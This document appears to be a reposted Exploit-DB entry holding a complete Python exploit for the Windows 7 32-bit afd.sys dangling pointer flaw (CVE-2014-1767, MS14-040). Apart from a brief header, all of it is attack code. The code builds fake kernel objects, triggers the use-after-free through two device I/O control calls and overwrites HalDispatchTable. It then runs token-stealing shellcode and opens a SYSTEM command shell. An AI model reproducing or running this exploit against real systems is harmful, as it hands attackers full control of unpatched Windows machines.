Microsoft Windows 7 (x86) – ‘afd.sys’ Dangling Pointer Privilege Escalation (MS14-040)

  • 作者: Rick Larabee
    日期: 2016-02-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39446/
  • # Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
    # Date: 2016-02-05
    # Exploit Author: Rick Larabee
    # Vendor Homepage: www.microsoft.com
    # Version: Windows 7, 32 bit
    # Tested on: Win7 x32
    #	 afd.sys - 6.1.7600.16385
    #ntdll.dll - 6.1.7600.16385 
    #
    # CVE : CVE-2014-1767
    # Category: Local Privilege Escalation
    # References:
    # 	http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
    #	http://ricklarabee.blogspot.com/
    #	https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
    # 	https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
    #	http://www.cvedetails.com/cve/CVE-2014-1767/
    #
    # Greetz: PWN4GEPWN1E, SecurityMook
    
    
    
    from ctypes import *
    import socket, time, os, struct, sys
    from ctypes.wintypes import HANDLE, DWORD
    
    kernel32 = windll.kernel32
    ntdll= windll.ntdll
    Psapi= windll.Psapi
    
    MEMRES = (0x1000 | 0x2000)
    PAGEEXE= 0x00000040
    Zerobits = c_int(0)
    RegionSize = c_int(0x1000)
    written= c_int(0)
    
    FakeObjSize = 0xA0
    
    GENERIC_READ = 0x80000000
    GENERIC_WRITE = 0x40000000
    GENERIC_EXECUTE = 0x20000000
    GENERIC_ALL = 0x10000000
    INVALID_HANDLE_VALUE = -1 
    
    WSAGetLastError= windll.Ws2_32.WSAGetLastError
    WSAGetLastError.argtypes = ()
    WSAGetLastError.restype= c_int
    SOCKET = c_int
    WSASocket= windll.Ws2_32.WSASocketA
    WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
    WSASocket.restype= SOCKET
    closesocket= windll.Ws2_32.closesocket
    closesocket.argtypes = (SOCKET,)
    closesocket.restype= c_int
    connect= windll.Ws2_32.connect
    connect.argtypes = (SOCKET, c_void_p, c_int)
    connect.restype= c_int
    
    class sockaddr_in(Structure):
    _fields_ = [
    ("sin_family", c_short),
    ("sin_port", c_ushort),
    ("sin_addr", c_ulong),
    ("sin_zero", c_char * 8),
    ] 
    
    def findSysBase(drvname=None):
    ARRAY_SIZE= 1024
    myarray = c_ulong * ARRAY_SIZE 
    lpImageBase = myarray() 
    cb= c_int(1024) 
    lpcbNeeded= c_long() 
    drivername_size = c_long() 
    drivername_size.value = 48
    
    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) 
    for baseaddy in lpImageBase: 
    drivername = c_char_p("\x00"*drivername_size.value) 
    if baseaddy: 
    Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, 
    drivername_size.value)
    if drvname:
    if drivername.value.lower() == drvname:
    print "[+] Retrieving %s info..." % drvname
    print "[+] %s base address: %s" % (drvname, hex(baseaddy))
    return baseaddy
    else:
    if drivername.value.lower().find("krnl") !=-1:
    print "[+] Retrieving Kernel info..."
    print "[+] Kernel version:", drivername.value
    print "[+] Kernel base address: %s" % hex(baseaddy) 
    return (baseaddy, drivername.value)
    return None
    
    
    def CreateBuffer1():
    inbuf1size = 0x30
    virtualAddress = 0x18888888
    length = 0x20000
     
    inbuf1= "\x00" * 0x18 + struct.pack("L", virtualAddress)#0x1a
    inbuf1 += struct.pack("L", length)#0x20
    inbuf1 += "\x00" * 0x8 + "\x01" 
    inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
     
    baseadd= c_int(0x1001)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
    byref(baseadd),
    0x0,
    byref(RegionSize),
    MEMRES,
    PAGEEXE)
    kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))
    
    
    def CreateBuffer2():
    inbuf2size = 0x10
    addrforbuf2 = 0x0AAAAAAA
     
    inbuf2 = "\x01\x00\x00\x00"
    inbuf2 += struct.pack("L", addrforbuf2)
    inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
     
    baseadd= c_int(0x2001)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
    byref(baseadd),
    0x0,
    byref(RegionSize),
    MEMRES,
    PAGEEXE) 
    kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))
    
    def CreateFakeObject():
    print "[+] Print creating fakeobject"
    fakeobject2addr = 0x2200
    fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
    fakeobj2size = len(fakeobject2)
    kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))
    
    objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x00\x00\x01\x00\x00\x00"
    "\x00\x00\x00\x00\x16\x00\x08\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00")
    
    
    fakeobject = objhead
    fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
    fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
    kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written)) 
     
    print "[+] creating socket..."
    sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)
    
    if sock == -1:
    print "[-] no luck creating socket!"
    sys.exit(1)
    
    print "[+] got sock 0x%x" % sock
    
    addr = sockaddr_in()
    addr.sin_family = socket.AF_INET
    addr.sin_port = socket.htons(135)
    addr.sin_addr = socket.htonl(0x7f000001)
    
    connect(sock, byref(addr), sizeof(addr))
    
    print "[+] sock connected."
    print "\n[+] GO!"
    
    (krnlbase, kernelver) = findSysBase()
    hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
    HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
    HalDispatchTable -= hKernel
    HalDispatchTable += krnlbase
    print "[+] HalDispatchTable address:", hex(HalDispatchTable)
    halbase = findSysBase("halmacpi.dll")
    OS = "7"
    if OS == "7":
    HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
    _KPROCESS = "\x50"
    _TOKEN= "\xf8"
    _UPID = "\xb4"
    _APLINKS= "\xb8" 
    
    print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)
    
    IoStatus = c_ulong()
    IoStatusBlock = c_ulong()
    
    CreateBuffer1()
    CreateBuffer2()
    CreateFakeObject()
    
    inbuf1 = 0x1000
    inbuf2 = 0x2000
    hWF = HANDLE(0)
    FakeWorkerFactoryADDR = 0x2100
    
    
    # Trigger 1
    # afd!afdTransmitFile
    ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)
    
    CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))
    
    ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
    hWFaddr = hWF
    print "[+] WorkerFactoryHandle:", hWF.value
    hWFaddr = int(addressof(hWF))
    
    shellcode_address = 0x00020700
    padding = "\x90"*2
    HalDispatchTable0x4 = HalDispatchTable + 0x4
    
    _WFValue = struct.pack("L", hWFaddr)
    
    sc_pointer = struct.pack("L", shellcode_address+0x4) 
    restore_ptrs ="\x31\xc0" + \
    "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
    "\xa3" + struct.pack("L", HalDispatchTable0x4) 
     
    tokenstealing ="\x52" +\
     "\x53" +\
     "\x33\xc0" +\
     "\x64\x8b\x80\x24\x01\x00\x00" +\
     "\x8b\x40" + _KPROCESS +\
     "\x8b\xc8" +\
     "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
     "\x89\x1d\x00\x09\x02\x00" +\
     "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
     "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
     "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
     "\x75\xe8" +\
     "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
     "\x8b\xc1" +\
     "\x89\x90" + _TOKEN + "\x00\x00\x00"
    
    fixobjheaders = "\x33\xC0"+\
    "\x64\x8B\x80\x24\x01\x00\x00"+\
    "\x8B\x40\x50"+\
    "\x8B\x80\xF4\x00\x00\x00"+\
    "\x8B\xD8"+\
    "\x8B\x00"+\
    "\x8B\x0D" + _WFValue+\
    "\x83\xE1\xFC"+\
    "\x03\xC9"+\
    "\x03\xC1"+\
    "\xC7\x00\x00\x00\x00\x00"+\
    "\x83\xC3\x30"+\
    "\x8B\xC3"+\
    "\x8B\x1B"+\
    "\x83\xEB\x01"+\
    "\x89\x18"+\
    "\x5B"+\
    "\x5A"+\
    "\xC2\x10\x00"
    
     
    shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
    shellcode_size= len(shellcode)
    orig_size = shellcode_size
    startPage = c_int(0x00020000)
    kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
    kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))
    
    
    ### Trigger 2
    ## afd!AfdTransmitPackets
    ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)
    
    ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
    
    ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;
    
    inp= c_ulong()
    out= c_ulong()
    inp= 0x1337
    qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
    print "[*] Spawning a SYSTEM shell..."
    os.system("cmd.exe /K cd c:\\windows\\system32")